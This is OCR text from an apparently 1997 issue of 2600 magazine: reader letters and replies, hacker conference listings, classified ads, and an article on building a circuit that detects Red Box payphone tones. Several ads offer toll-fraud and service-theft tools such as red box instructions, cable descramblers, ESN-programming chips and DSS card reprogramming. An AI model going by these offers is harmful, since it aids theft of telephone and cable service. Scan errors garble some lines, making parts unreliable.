This happens all the time. In fact, AT&T does it them-
selves. If you call 800-855-11535 (their 800 number for long
distance information for the hearing impaired for which
you'll need a TDD machine), they will bill the charges to
the number you call from without even telling you! (Obvi-
ously they won 't do this if you're at a payphone.) If they can
do it, many others can and do. The only way this will stop is
if you make a big fuss about it. Contact your local media
and elected representatives. Show them the 800 number.
Demonstrate it. You will definitely make a big difference.

Radio Show Online

Dear 2600:

Thank you so much for publishing Off the Hook! 1
really appreciate being able to follow the show even
though I’'m way out of your broadcast area.

Zaph32

For those who don’t know, the weekly radio show is
now available on our web and fip sites in Realaudio for-
mat. Look for it soon on CD-ROM.

One For Kevin

Dear 2600:

Hey, I was recording/watching the congressional com-
mittee discussion on computer security (C-SPAN) and there
he was: Tsutomo Shimomura, the fellow who is credited
with tracking down and busting Kevin Mitnick. So anyway,
they happen to mention that Tsutomo is staying at the Wa-
tergate Hotel. Maybe this is kinda childish but I called the
front desk and connected to his room - woke his ass up at
6:00 am. Boy, was he pissed.... Especially after being up all
night entertaining politicians. I know, pretty infantile in the
scope of things but I hope Kevin gets a good laugh.

1 think it’s a great thing you people are doing - stand-
ing up for hackers’ rights when unjustly harassed by “so-
called” authority. Keep the page going. I wish I knew some
of the things you report on your page when I could’ve
made a difference. If I can do anything to help let me know.

Venshea, MD

By letting others know what happened, you can still
make a big difference in keeping it from happening
again.

Inspiration

Dear 2600:
I want to begin by thanking the author of “Knowl-
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edge Is Strength” for re-kindling my “hacker spirit.”
That article was great!

I recently took an “establishment” job - I'm the sys-
tem administrator for an ISP. After taking the position, I
felt I could no longer pursue the lifestyle that had made
me into the person I was (as I had been “hacking” since
I was 14). For me, this meant a great deal more than
simply changing my homepage... it was a matter of
changing the way | think, act, and feel. After reading the
article “Knowledge Is Strength” (Winter 96-97), I real-
ized hacking isn’t about breaking and entering (com-
puter systems), or pirating software; hacking is about
freedom of speech and freedom of information.

Coming to this realization rekindled my “hacker
spirit.” Now, more than ever, I yearn to learn... the more
1 learn, the more I realize I don’t know so much, as there
is an immense amount of information to be learned. 1
Jjust wanted to say thank you for the information/inspira-
tion you've provided me, and I hope to pass that infor-
mation/inspiration on to my fellow hacks.

SodaPhish

Phone Weirdness

Dear 2600:

I have an AT&T phone in my office. I’ve noticed at
least once a day (normally between 12 pm and 4 pm) it
will ring one time for about half a ring. Even when I get
to it and pick up before it stops I get a dialtone. My main
question is is my phone being tapped or do you have any
idea whatsoever as to what the problem is?

grim

Someone or something is calling you and hanging
up. There could be thousands of reasons for this includ-
ing a human error to a screwed up fax machine to a
badly programmed phone system. It has nothing what-
soever to do with your phone being tapped.

Dear 2600:

1 do not have Caller ID, and I am not paranoid as
some of your readers may be. I am about as clean and
law abiding as they come. I just like to understand these
technologies. Well, not 20 minutes after I set 2600 down
1 got a phone call where there was silence and no one re-
sponding. So I hung up and dialed *69. I got the three
octave tone that indicates you did something wrong and
a recorded message stating that this call could not be
called back. This tells me one of two things: the phone
call was originated from Bell South, or Bell South au-
thorized a government agency to do this. Can anyone
tell me what they are looking for or if it could be a really
sophisticated phreak?

Procell

You read our magazine, get a phone call, immedi-
ately believe the government is behind it, and consider
yourself not paranoid?

2600 Meeting Mishaps

Dear 2600:
Now that I am living in the city, I decided that |

would check out tonight’s 2600 meeting here in Toronto.
I'looked up the location on the 2600 web page and, after
work, headed up to that location. While I was a bit late,
there was no 2600 meeting as far as I could see. There is
a really good computer bookstore in that mall so I went
upstairs to see if they had perhaps moved there. The girl
who worked in the bookstore was a 2600 reader, and
that bookstore actually carries 2600, but she told me
that many people go up there looking for the meeting
and none ever find it. She told me to go back downstairs
and have a look again. When I went down, I saw a group
of teens sitting at a couple of tables at the meeting place
(near Second Cup). They claimed to be the 2600 meet-
ing, so I joined them. They told me that the mall security
always gives them trouble so they normally meet there
and then go next door, so I started to go with them. [
asked them some simple questions and I got responses
like “Yeah, we send computer messages with people in
Iraq” and “I’m Mars” and “We know phone stuff and se-
curity stuff” But they could not provide any details.
Luckily I had clued in by then that they were not 2600,
and I had escape routes planned. They tried to make me
go down into a basement of some sort but [ managed to
walk away. They chased after me, got close, and tried to
mug me. Once again, I was lucky that I had noticed peo-
ple in an apartment building nearby and got away by
forcing them in that direction and then bolting inside
and running around for 10 minutes to lose them. Thank-
fully I was much larger than them. After the things I
heard from talking to them and people in the mall, these
guys always hang out there and there is no 2600 meet-
i Iso wonder if they have tried this to other people
looking for the meeting. In any case, I think you should
put a notice on the 2600 web page, if possible. Is there
any way we can organize a proper 2600 meeting in an-
other location? Is there any way we can contact the
Toronto area 2600? 1 don’t know anyone who goes to
meetings here.

Cesaro

The meetings have been at a new location for some

time now. This kind of misadventure probably won't
happen to people who go to the right place.

Dear 2600:

I have been an avid reader of your mag for quite
some time now. A couple of months ago I decided to go
to one of your meetings. So I was off to the mall where
the meetings were held. I spotted the group by seeing
one of them with a 2600 t-shirt. | went up to join in on
the meeting and right away without even talking to me
he said, “You're not one of us... leave... now!” 1 stood
around for a bit thinking it was some sort of joke when
he repeated what he said. I was shocked. These people,
fellow hackers who I thought shared in the same beliefs
as | did wrote me off for what I looked like? Please ex-
plain. Do I need to come to a meeting with hiked up
jeans and glasses?

Crumb
Buffalo, NY

People who would treat a newcomer like that are
not the kind of people we want at our meetings. The
whole point of 2600 meetings is to exchange ideas in an
open atmosphere and meet new people. Anyone trying
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to prevent either of those is doing the job of our ene-
mies. Even if you're the biggest idiot in the world, you
have every right to be in that public space. If we hear of
more such happenings in Buffalo, we will drop them
from our list. We're sorry you had to go through that.

Military Hacker

Dear 2600:

I need some serious help. I am an avid hacker. They
call me Mainframe. Anyway, I screwed up and had to
join the Army. Now I am in Europe, no way to hack or
phreak or anything. Not many computers around - luck-
ily I got on this one. I have been trying to get discharged
but can’t. Do you have any suggestions? I miss hacking
so much! I used to stay up days in front of a computer.

Hack The Planet! Well, at least the assholes.

Mainframe

We have an article in this issue that may be helpful

10 you....

Punctuation Problems

Dear 2600:

As an avid reader of 2600, and former editor at
Random House, I have one small comment to make. I
know you have little contempt for following the rules,
but I feel it is at least important to know what the rules
are so you’ll know if you’re breaking them. In particular
I’m talking about rules of punctuation.

In English it is proper to put punctuation inside
quotation marks:

Right: Bart Simpson is technically a “toon,” but he’s
still my favorite “actor.”

Wrong: Bart Simpson is technically a “toon”, but
he’s still my favorite “actor”.

Another thing concerns use of italics. If punctua-
tion follows italics, the punctuation should be done in
the italicized font:

Right: I just saw Striptease, a movie starring Demi
Moore’s rock hard mams!

Wrong: | just saw Striptease, a movie starring Demi
Moore’s rock hard mams!

(Notice in the “wrong” example above that the
comma and ! aren’t italicized.) I'd like to point out that
these rules are not arbitrary and actually relate to com-
puters and technology. When font designers create
fonts, they specifically design them so that the comma
and quote fit together nicely with the comma inside.
And the italic comma or period fits snugly with the pre-
ceding italic text than would the unitalicized version.
These niceties show up better in some fonts than others.
In LotusNotes it looks terrible when italic letters are fol-
lowed by a normal comma, because a huge unsightly
gap is created between the characters.

Niel Ians

Not to be petty, but you probably meant that we
have much contempt for following the rules, not little
contempt. Anyway, that's not necessarily so. It's only
the stupid rules we despise. Concerning punctuation,
you are correct for the most part. But the nature of what

side of ions because p ds or ad-
dresses must be presented exactly as they appear. Punc-
tuation within the quotes could easily be misconstrued.

Mac Hiding

Dear 2600:

I am writing in response to Josh McKee’s letter on
Mac hiding in your Autumn ‘96 issue. He said to make
the file invisible by using ResEdit. Unless the person
you do this to is really stupid and hasn’t updated their
system software, all they need to do is go to “Find File”
and option-click on the search mode bar, and then they
can search for invisible files. A better idea would be to
name the file ICON, as there are a lot of those, and most
people checking will skip right through them. By the
way, Josh’s comment on “Mac-using kiddies” is not en-
tirely accurate. I am 12.

Total Idiot

The Other Side

Dear 2600:

1 just wanted to drop a line to you on notice of your
publication. Two days ago the company I provide my
services to was hacked. I have seen this several times in
the past since I am a professional switch tech trained
several PBX and voicemail applications. I just wonder if
you people realize the damage you cause or if you even
care. You can’t even use your real name while you’re
stealing. You punks aren’t just crooks, you’re cowards
too. But I would imagine upbringing probably has
something to do with it. Maybe it’s just little sissy-boy
compu-dork who never had a daddy or never worked a
day in his life or both. But realize this! Hack me and I'll
bust your balls! You’re not that smart or even close to
being good. We professionals laugh at punks like you.

Later Scumballs.

(unreadable signature on a fax)

You professionals can be so articulate.

Evil Ex Strikes Hacker

Dear 2600:

I have been an avid reader and a strong supporter of
your magazine for almost 10 years and I have no shame
or fear of subscribing to it. There are some things that
happen in this world that we should fear, and I'd like to
share one that happened to me.

Going back to 1989, I lived with a woman who, no
matter what, wouldn’t accept the fact that I was a
hacker. I could never convince her that the day would
come when I would get a good job with my knowledge.
Well, the day came two and a half years later when I fi-
nally made a decision: her - or my future. Things were
back to normal for me after she moved out and I would
never hear from her again, or so I thought.

It began in 1993 when my credit cards suddenly be-
came useless pieces of plastic. Calls to the card compa-
nies gave answers like “bad credit,” “too many late
‘credit limit too many times,” and

we publish demands that we ofien put out-
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the like. I was dumbfounded because I never had a sin-
gle problem with any of them as I always made pay-
ments on time and never exceeded my limits. To make
matters worse, my car loan immediately became due, in
full (1 still had two years of payments left to make). I
was told that my credit history had become “unfavor-
able” and therefore was forced to pay them over $9000
within 30 days or have the car repossessed (I had to use
my retirement savings to pay them). And as if it couldn’t
get any worse, | was evicted from my apartment due to
my “unfavorable” credit history - someone had conve-
niently sent the landlord a credit letter stating this about
me. Next, I received a letter from Revenue Canada stat-
ing that my home-based business of “software duplica-
tion” had not remitted taxes for the last three years, and
it was time to “pay up.” Interestingly enough, I don’t
have a home-based business! Then a visit from the
RCMP (the Canadian version of the FBI) to investigate
my so-called “software duplication” business at 2:30
a.m. one morning at home led to a long seven month in-
vestigation which finally ended when the RCMP
dropped it, with no reasonable explanation or apology.
No matter how hard I tried to find out why or how all
this had happened to me, I couldn’t figure it out.

It wasn’t until last year when I bumped into an old
friend when the pieces of the puzzle started falling into
place. I found out that my ex-girlfriend had a job with a
large credit agency. Well, I'll be damned. It appears that
she, in a bitter display of retaliation, has destroyed my
future attempts (for the next seven years anyway) at ob-
taining another credit card, loan, new car, house mort-
gage, lease, or anything to do with a line of credit. Also,
I have a mark on my personal record for the investiga-
tion from the RCMP, and | know Revenue Canada will
be keeping a close eye on any future tax returns I file.
An investigation by the police led to nothing, and no
matter what 1 do or say, I can’t convince anyone to
change my records back to normal.

I think I would have been better off to piss off a few
hackers and have them delete me from the “system.” In-

Immortalize
Yourself!

Send your letters to:

2600 Editorial Dept.

P.O. Box 99

Middle Island, New York
11953-0099

or e-mail letters@2600.com

stead, a bitter ex-girlfriend can sit down at a computer
terminal within a credit agency, bring up my personal in-
formation and proceed to wreak havoc on my financial
and personal affairs that will affect me for years to
come. As long as our personal information and “num-
bers” are on a computer system somewhere in the world,
someone always has the ability to access and even
change it, for better or worse. Many of us hackers would
simply say, “Ha Ha! That will never happen to me”
Funny thing, I don’t seem to be laughing anymore.
MANOWAR
Orangeville, Ontario, Canada
We've always maintained that the real threat to pri-
vacy doesn 't come from hackers getting into large data-
bases, but rather the people within who have
“legitimate” access to those databases and don't trig-
ger alarms when they access them. Hackers gaining ac-
cess are the best shot the average person has of ever
finding out that these databases even exist.

Serious Concerns

Dear 2600:

I'd just like to say I love your magazine. I think it is
great even though I have to hide it from my mother. I'm
only 11 but very interested in hacking. I’'m not very
knowledgeable about hacking and I’m trying to take in
everything I can about computers. Anyway my problem
is when I was on AOL this morning I was cussing off
this nine year old kid because he thought Windows 95
was better then Mac OS. Then another ankle-biter IM'd
me and told me that he was going to report me for
blocking out cuss words with some gibberish. I suppose
that I offended him in some way or I may have acciden-
tally spelled out a word that was not acceptable to that
kid. I’'m wondering what is the worst thing that can hap-
pen to me?

Shadodin

Don’t worry. It's already happened.
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SUMMERCON IX.V, May 31st, 1997 in Atlanta, GA. A
long time ago, Summercon was an invite-only hacker gath-
ering held annually in St. Louis, Missouri. Starting in 1995,
SummerCon became an open event to any and all interested
parties: Hackers, Phreaks, Pirates, Virus Writers, System

Law Officials, Vig X
Neo-Hippics, Secret Agents, Teachers, Disgrunticd Employ-
ees, Telco Flunkies, ists, New Yorkers, P

Conspiracy Nuts, Musicians, Nudists, and Rug Sucking
Wannabes. If you have to choose one con to go to this sum-
mer, this one should NOT be it. If you are already going to
DefCon and HOPE, and still have one more weekend you
want to waste this summer, this is the perfect place for you.
If you are a criminal, if you are an anarchist, if you are inter-
ested in pulling fire alarms or breaking things, don’t come to
this con; we don’t want you here and you wouldn’t like us
anyhow. Email scon@2600.com for details on the exact lo-
cation. If you are coming from out of town and want the full
hacker/tourist experience, we will be having a specially
scheduled 2600 meeting Friday, May 30th, at 6pm at Lenox
Mall food court. The formal conference will be held on Sat-
urday, May 31st, 1997, from 10am to Spm (with a break for
lunch). If you are an expert in some aspect of computer, net-
work, or telco security and are interested in speaking at
Summercon, please contact us to discuss the possibility fur-
ther at the above address. We won’t pay you, don’t ask. We
are also going to be having short speeches by real hackers or
phreakers giving their own perspective on some issue or in-
sight into a new technology. This is an open invitation for
you hackers to be heard; just provide us with a brief outline
of the topic you will be covering and the amount of time you
will take (suggested: 5 - 15 minutes) at the above address.
individual rate: $20, g instituti rate:
$80, Secret Service/FBI rate: $500.
DEF CONYV, July 11-13th in Las Vegas, Nevada. DEF CON
is back in action, this year featuring more technical talks, a
break out conference room as well as all your favorites:
Hacker Jeopardy, the TCP/IP Drinking Game, a high speed
network connection, Capture the Flag hacking contest, Spot
the Fed, and more. Last year over 800 people mobbed us and
it was nuts! This year we're ready for more hordes of you
crazed bastards, so check out the web page and hook up with
one of the car caravans and show up. The cost is $30 in ad-
vance (payable to DEF CON) or $40 at the door. The Hotel
reservation number for the Aladdin Hotel and Casino is 1-
800-225-2632, and rooms are $65 or $85. Reference the DC
Communications conference, we have a block of rooms re-
served but they could go quick. More information can be
found at defcon.org, or email i org. Snail
mail is: 2709 E. Madison, Seattle, WA 98112.
HACKING IN PROGRESS - a campsite full of computers,
ethernet cables, tents, workshops, lectures, discussions and
people from all over the world. This hacker congress and
festival will take place on August 8, 9, and 10 near Almere,
the Netherlands. HIP will deal with the social and political
aspects of information technology, security, Internet, access
to technology, cryptography, concerns about spamming, and
other “hacker-related” topics. We need lots of people who
have ideas for organizing their own small part of HIP and
the organizational talent to do this without too much help

from us. If there is something you and your friends would
like to show others, discuss or do there, tell us about it so we
can coordinate, help or announce things. Bring lots of com-
puters and other electronics, maybe your own army surplus
tent. Watch our website for up-to-date information:
http://www.hip97.nl or email info@hip97.nl.

BEYOND HOPE IN NEW YORK CITY! What will hap-
pen when hundreds, perhaps thousands, of computer hackers,
phone phreaks, and other technology crazed individuals de-
scend upon the city that never sleeps? We're as curious as you
are. Beyond Hope is the sequel to 1994's Hackers On Planet
Earth conference and it will be held on August 8, 9, and 10 at
the sprawling conference rooms of the Puck Building, lo-
cated at the comer of Houston and Lafayette. At the very
least, we will have a T1 connection to the net and a video link
to the HIP conference which will be taking place simultane-
ously in Holland. Hotel info is about to be finalized - visit our
web site (www.hope.net), call the 2600 voice BBS (516-473-
2626), or send us email at beyondhope@2600.com. Preregis-
tration for the entire weekend is only $20! Admission FREE
to anyone with an overseas passport! Make check or money
order payable to 2600 and send them to Beyond Hope, PO
Box 848, Middle Island, NY 11953. Be sure to include your
name and address. Don’t mail anything after 7/15. There will
be a special 2600 meeting on Friday, August 8 at 5 pm in the
Citicorp Centre (53rd and Lexington). To get to Beyond
Hope from there, just hop on a downtown #6 train and get off
at Bleecker Street. Exact starting times will be announced via
the above contact methods.

BETTTTBFrSaleTTTTTTD

INFORMATION IS POWER! Our catalog is available
with informational manuals, programs, files, books, and
video. Get the information from the experts in hacking,
phreaking, cracking, electronics, viruses, anarchy tech-
niques, and the internet here. Legit and recognized world-
wide, our information will elevate you to a higher plane of
consciousness. Join Today! Send $1 for our catalog to:
SotMESC, Box 573, Long Beach, MS 39560.

6.5536 MHZ CRYSTALS available in these quantities
ONLY: 5 for $20, 10 for only $35, 25 for $75, 50 for $125,
100 for $220, 200 for only $400 ($2 each). Crystals are
POSTPAID. All orders from outside U.S. add $12 per order
in US. funds. For other quantities, include phone number
and needs. E. Newman, 215-40 23rd Road, Bayside, NY
11360.

NO SURCHARGE CALLING CARD. 17.5 cents a
minute. Save 62% over AT&T, MCI or Sprint. Send email
with name and address for application to 2a262@ix.net-
com.com.

DISAPPEARING INK FORMULAS! Safely write the ul-
timate love letter or nasty note! Great gag item. Signed doc-
uments and memos will completely and undetectably
disappear in 1 day to 4 weeks depending on formula used.
$5 postpaid. Pete Haas, PO Box 702, Kent, OH 44240-0013.
FREE CABLE TV: Cable TV boxes enable you to receive
“every pay channel” for FREE as well as pay-per-view. Stop
paying outrageous fees for pay channels. Box cannot be bul-
leted! You must call or email first and tell us the brand and
model number of the cable box you have. Example: Jerrold
DPV5XXX. Onily $199 US. & $15 shipping & handling.
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Our units work with Jerrold, Pioneer, and Scientific Atlanta
boxes only! 30 day money back guarantee on cable boxes!
FREE PHONE CALLS FOR LIFE! New video “How To
Build a Red Box”. VHS 60 min. Complete step by step in-
structions on how to convert a Radio Shack tone dialer
(model 43-146) into a red box to obtain FREE calls from
payphones. This video makes it easy. Magnification of cir-
cuit board gives a great detailed view of process. Other red
boxing devices discussed as well: Hallmark cards, digital
recording watch, and more! This video will save you thou-
sands of dollars every year. Best investment you'll ever
make! New Year’s Sale price $9 US & $5 for shipping &
handling. We sell 6.50 MHz crystals and UZI boxes too!
COD available or send check or money order to: East Amer-
ica Company, Suite 511-H, 240 Prospect Ave., Hackensack,
NJ 07601. Tel: (201) 343-7017. Email: 76501.3071@com-
puserve.com. Free technical support! Mail order only!
PHILADELPHIA AREA FREQUENCY GUIDE. Third
edition is now available. Scanner enthusiasts now have a
complete frequency listing for police, fire, and EMS ser-
vices for the 10 county metro area. This guide is NOT a fre-
quency dump as found in many other publications. Over 120
pages in an easy-to-read spiral bound booklet which in-
cludes unit ID’s, station locations, maps, 10-codes, and radio
terminology as well as frequencies! Very detailed! Send
$16.95 plus $2.25 shipping (PA residents add $1.02 tax) to:
Starion Electronics, 422 Town Center, Suite 222-M, New
Britain, PA 18901-6001.
ATTENTION PHREAKERS AND HACKERS. For a cat-
alog of plans, kits, and assembled electronic “tools” includ-
ing the red box, radar jammer, surveillance,
cillance, cable and many other
hard-to-find equipment at low prices, send $1.00 to Mr.
Smith-03, PO. Box 371, Cedar Grove, NJ 07009.
TAP BACK ISSUES, complete set. Vol. 1-91 of QUALITY
copies from originals. Includes schematics and indexes.
$100 postpaid. Via UPS or first class mail. Copy of 1971 Es-
quire article “The Secrets of the Little Blue Box” $5 & large
SASE w/52 cents of stamps. Pete G., PO Box 463, Mt. Lau-
rel, NJ 08054. We are the original!
OKI 900/1150 CELLULAR EXPERIMENTERS CA-
BLE FOR SALE. Assembled and tested cables for $149
plus shipping. Cables do not come with software. (Software
available over the Internet or most hacker bulletin boards).
POCSAG decoder interface for the PC also available. For
more i ion email us at net or write to
CCS, PO Box 3315, Peabody, MA 01961-3315.
THE BLACK PHILES 1 CD-ROM (X-Philes) contains
over 22,000 files about Anarchy (revenge, killing, fraud,
cars, explosives), Phreaking (bugs, cellular, boxing), Hack-
ing (Unix/PC, cracking, satellite), Conspiracy, UFO’s, Oc-
cult, Drugs, Programming, Star Trek, and much more. Also
available are the Black Philes II, this is the followup to the
X-Philes/Black Philes 1 and it contains over 14,500 new
files. Black Philes 3 (released in March 97) is also available
with over 15,000 new files. Check out our www page -
http: z . ynchron for more i ion and
complete filelists. If you have any questions just send an
email to synchron@algonet.se. In the U.S. you can call
Scrambling News 716-283-6910. Send us an email if you
want to join our mailing list and receive the latest CD-ROM
news from us!
WORLD’S BEST ENCRYPTION! Introducing the
world’s best file encryption system for DOS. To order, send
check or money order of $10 in the U.S,, $15 international
to: Smiley Soft, PO Box 27863, Denver, CO 80227-0863.
“LINUX 95” BUMPER STICKERS! Full-size vinyl
bumper stickers proclaiming your favorite OS as “The Choice
of a GNU Generation”. Waterproof, dark blue on white, as

seen at http://ds1.org/ inwx/linux95 html. Only
$1 each, postpaid anywhere on the planet! Send US cash or
money order to M. Stutz, PO Box 542, Berea, OH 44017-0542.
VTV - the 24 hour adult uncensored XXX hardcore channel.
Over 200 movies a month for only $19.99 a month. Super
Dish, P.O. Box 6406, Bronx, NY 10451,

OKI900 CHIP. Allows you to program up to 5 ESN’s
through keypad, $40 each. Installation also available. Call
Martin at 618-949-3737.

NEW VERSION DSS TEST CARDS and reprogrammed
original plastic access cards. Also new cleaner program to
erase PPV events. Cable converters for all systems Send me
the brand and model number of the converter used in your
system. Ray Burgess, PO Box 99B65086, Pontiac, IL
61764-0099.

BT T HlpWanted DS T T T

CREDIT HISTORY DESTROYED BY EX-GIRL-
FRIEND (Credit Agency worker). All personal attempts at

write to: A. Gilmore, 26 Highland Drive, Orangeville, On-
tario, Canada L9W 2Y3. Will respond in the strictest confi-
dence.

BETTTTTSNicesTTTTTT D

COMPUTER CRIME DEFENSE ATTORNEY. CIS de-
gree with 10 years computer experience. Contact Dorsey
Morrow, Jr. at (334) 265-6602 or email at
cyberlaw@mont.mindspring.com.

BB BT 2D T Bulletin Boards ® T T T T

MONTREALS H/P BBS and home of Hacknowledge zine.
Last Territory (514) 565 9754.

THE DEF CON VOICE BBS SYSTEM (801) 855-3326
will be moving! The new location will feature NO phantom
voice bridges, just 24 lines, and otherwise still have the same
Voice BBS, VMBs and voice bridge structure. When the
change happens the old number will refer you to the new
one.

ANARCHY ONLINE. A computer bulletin board resource
for ists, survivalists, i i re-
searchers, computer hackers, and phone phreaks. Scheduled
hacker chat meetings. Encrypted e-mailffile exchange.
WWW - http://anarchy-online.com. Telnet: anarchy-on-
line.com. Modem: (214) 289-8328.

FLUID BBS is a bulletin board system created for conver-
sation. One line. Call and post messages, download QWK
packets, etc. No files, no doors (olg’s) and no stupid rene-
gade mods. A simple board that you call up to talk to each
other and log off. HPAVC related, somewhat. (303) 460-
9632.

BT TTTTTTTTTTTT

THE ANSWER IS NO! You CANNOT take out a classi-
fied ad in 2600 if you don’t subscribe! You cannot pay us
any amount of money to advertise either here or else-
where in the magazine. So please don’t ask - you proba-
bly won’t even get a reply. If you do subscribe, you are
entitled to a free ad in the Marketplace as space and
standards permit. Send your ad to: 2600 Marketplace,
PO Box 99, Middle Island, NY 11953. Include your ad-
dress label or photocopy. Deadline for Summer issue:
5/15/97.
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RED BOX DETECTION CIRCUIT
A PRACTICAL USE FOR A “TOLL FRAUD" DEVICE

by Kingpin
LOpht Heavy Industries

Overview

In light of Bernie S.’s misfortune, I doubt it
would do any good to tell police that your Red
Box (a.k.a. A “Toll Fraud” Device) was really be-
ing used to turn on your TV, start your car, or shut
off your lights (clap on, clap off). Despite this
disappointing fact, this circuit can be used in a
multitude of applications and truly does give you
a legitimate reason to possess this type of multi-
frequency generator.

The Red Box Detection Circuit can be used
for practical everyday use or for security pur-
poses. Using this circuit, you could trigger
household appliances (turn on the disco ball, vi-
brating bed, etc.) using a nickel, dime, or quarter
tone, which all are generated with 1700Hz and
2200Hz. Essentially, the Detection Circuit be-
haves like “The Clapper,” which turns the lights
on with one clap, leaving them on until another
clap is detected. The device is timing-indepen-
dent, so any coin type will be detected and pro-
duce the same result. From a security standpoint,
telephone companies can use this as a cheap
method to detect the Red Box tones, and police
officers can have a portable unit to test “Toll
Fraud” devices in the field (which will hopefully
never happen, but it is a very real possibility as
Red Boxes become more and more widespread
into the mainstream).

The heart of this circuit is the MX-COM
MXI105A. This chip is a tone detector for use in
single and multitone signalling systems. Key rea-
sons for using this part is that it requires minimal
external components and recognizes tones in the
presence of high noise levels. An LM386 Low
Voltage Audio Power Amplifier is used to bring
the audio signal from the microphone to a proper
input level for the MX105A. The data sheets pro-
vided with the MX105A (available at www.mx-
com.com) are very descriptive and make design
fairly straightforward. A 7474 D-Type Positive
Edge Flip-Flop takes the “Detect Out” signal
from the MX105A and acts as a switch, leaving
the final detect state high (or low) until another

Red Box tone is detected, which will then com-
plement the logic state.

Circuit Theory

I will explain the basic design of this circuit
from input to output, starting with the audio am-
plification, into the tone detector, and through the
logic of the flip-flop. The power to the circuit is
supplied by a standard 9V battery, connected to a
7805 voltage regulator (U4). This gives us a
clean 5V to power the tone detector and flip-flop,
and a not-so-clean 9V (approximately) to power
the audio amp and microphone. The microphone
(a common electret, X1) needs to be supplied a
voltage in order for it to function correctly, so we
drive 9V through a 510K resistor (R1) into the
positive wire. The resistor will limit the current
of the 9V supply to protect the microphone. The
LM386 amplifier (U1) has a gain internally set to
20 (26dB increase), which is too small for our
application. By adding a 10uF capacitor (C1)
across pins 1 and 8, we can increase the gain to
200 (46dB increase). The audio amplifier section
of the Red Box Detection circuit is very simple,
and uses only three external components. R2, the
10k potentiometer, will limit the input voltage to
the audio amp. This will be adjusted, upon test-
ing of the module, to give us a clean, unsaturated,
amplified signal. The output of the amp goes
through a coupling capacitor (C2) and feeds into
pin 1 (Tone In) of the MX105A Tone Decoder.

Calculating the values of external compo-
nents for the MX105A (U2) is done in a series of
simple mathematical equations, all described in
the data sheet. The first step is to define the
MX105A to respond to a center frequency of ei-
ther 1700Hz or 2200Hz, both of which make up
the “Red Box” tone. I chose to have the circuit
detect 1700Hz, leading to an operating band-
width of 8.25%, giving us a 140Hz cushion to al-
low for small variances in frequency production
from your particular flavor of “Red Box.” We
also need to define the maximum allowed re-
sponse time of the circuit, which is the maximum
amount of time the circuit has to detect the tone.
Using common, off-the-shelf component values,
we can get a maximum response time of 31.1ms.
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This yields a lock time of 10.7ms and a d
time of 20.4ms. There are also formulas included
in the data sheet to calculate signal-to-noise per-
formance and to modify the de-response time of
the circuit. The latter is the time the MX105A
will take to turn off after a valid in-band signal
has been removed from the input. This may be
helpful, depending on what you are interfacing
your circuit to. In the schematic provided, you
need not worry about de-response time, since it
is taken care of by the flip-flop circuitry. All of
the component values can be approximated to a
close off-the-shelf equivalent, with the pti
of R5. This pc i is a major p
in setting the free running frequency of the VCO
and plays a direct role in setting the center fre-
quency. RS was calculated to be 636.6k, but the
actual value you need may be slightly different,
because of tolerances in component values. Set-
ting RS is the last step to testing the circuit, since
you can “tune” it to only respond to 1700Hz. The
construction of the tone detector module of the
circuit is simple as well, but requires a few more
external components.

The final module of the unit is the flip-flop
circuitry. This will use the Detect Out pin of the
MXI105A as input to the clock of the 7474 (U3)

r w u:n»..v\o:_‘v_.&os
for your particular needs. Common mistakes in
constructing the amplifier circuit include not dri-
ving the input of the microphone with a voltage,
or Jdoing so incorrectly. Also remember to con-
nect all ground references together. Double
check all your connections and make sure the
components are receiving the correct supply
voltages.

To test the functionality of the tone detection
circuit, connect a 1k resistor (R8) in series with
an LED (D1) to pin 9 (Detect Out), or hook to an
oscilloscope or logic analyzer to monitor the
state of this pin. Drive the microphone with a
Red Box or audio tone generator. If everything is
working correctly, the Detect Out pin will go
high briefly, upon detection of a correct tone
(1700Hz), thus lighting the LED. The only cru-
cial component in the tone detection module is
RS, which, as mentioned before, sets the center
frequency of the circuit.

There is not much that can go wrong with the
circuit, so when troubleshooting, remember to
Keep It Simple, Stupid. The problem is most
likely a result of a shorted, improper, or loose
connection.

Conclusion and Other Ideas

and respond dingly. The power

to the flip-flop are not included in the schematic,
50 be sure to connect +5V to pin 14 and GND to
pin 7 (standard power connection for a digital
logic device). The MX105A only raises the logic
of Detect Out for a brief moment, but we need to
have the final detect state remain on or off until
another valid frequency is detected. The D-type
flip-flop detects a positive-edge of the clock,
which is a low-to-high transition, and comple-
ments the state of the output pin. The low-to-high
transition of the Detect Out pin only occurs once
per valid tone detection, so each time a red box
tone is detected, the output of the flip-flop will ei-
ther turn on or turn off. We now have a “Clap-
per”’-compatible circuit.

Testing and Troubleshooting

It is a good idea to test each of the “modules”
(defined by dotted boxes on the schematic) be-
fore building the whole circuit. Using the pro-
vided schematic, construction is very easy. |
would suggest using a prototype board for your
first draft of the circuit, which makes it easy to

Much more could be said about the Red Box
Detection Circuit, and those interested in modi-
fying it for other uses should feel free. Take a
look at the data sheets for more technical data
than you will ever need. A useful idea for this cir-
cuit would be to connect an NPN transistor
(2N2222) to the output of the flip-flop and drive
a 120VAC relay to operate standard outlet-pow-
ered equipment and appliances. Another useful
idea would be to interface the unit with a tele-
phone line, and use it as an access device for
your voice mail or answering machine, or turning

ppli on and off ly. You could also
modify the circuit to detect both the 1700Hz and
2200Hz frequencies generated by the Red Box
for greater accuracy. A more complicated idea
would be to make the circuit timing-dependent,
detecting the timing differences between the
nickel, dime, and quarter tones, and perform a
different function for each. A previous letter to
the editor asked about “Red Boxing” a video
game to get free credits. As stupid as that ques-
tion sounds, it can now be done (with your own
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modified arcade game, of course), and it is sure to impress your friends.

This article is just a brief glimpse of what can be done and I hope it has brought into the light the
possibilities of electronics. Although this circuit is silly, it could be used for practical or security pur-
poses, and if you disagree, you can still learn quite a bit by experimenting with it.

MX-COM, INC. - http://www.mxcom.com 800-638-5577

National Semiconductor - http://www.natsemi.com 408-721-5000

PDF formatted data sheets can be found at the above locations for the MX105A, LM386, and 7474.

Questions and can be di d to kingpin@2600.com or kingpin@IOpht.com. A re-print
of this article, along with data sheets and schematics, can be found at http://www.l0pht.com/~kingpin.

BILL OF MATERIALS

Item Quantity Reference Part
1 1 C1 10uF
2 1 C2 100uF
3 3 C3,C8,C9 220pF
4 3 C4,C5,C10 .1uF
5 2 C6,C7 .OluF
6 1 D1 LED
7 2 R1,R3 510k
8 1 R2 10k
9 1 R4 240k
10 1 RS 1meg
11 2 R6,R7 22k
12 1 R8 1k
13 1 U1 LM386
14 1 U2 MX105A
15 1 u3 74HCT74
16 1 U4 LM7805
17 1 X1 MIC
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2600 Meetings

NORTH AMERICA

Akron, OH
Coffee Configur@tions on the comer of East Ex-
change and Union near Akron University.
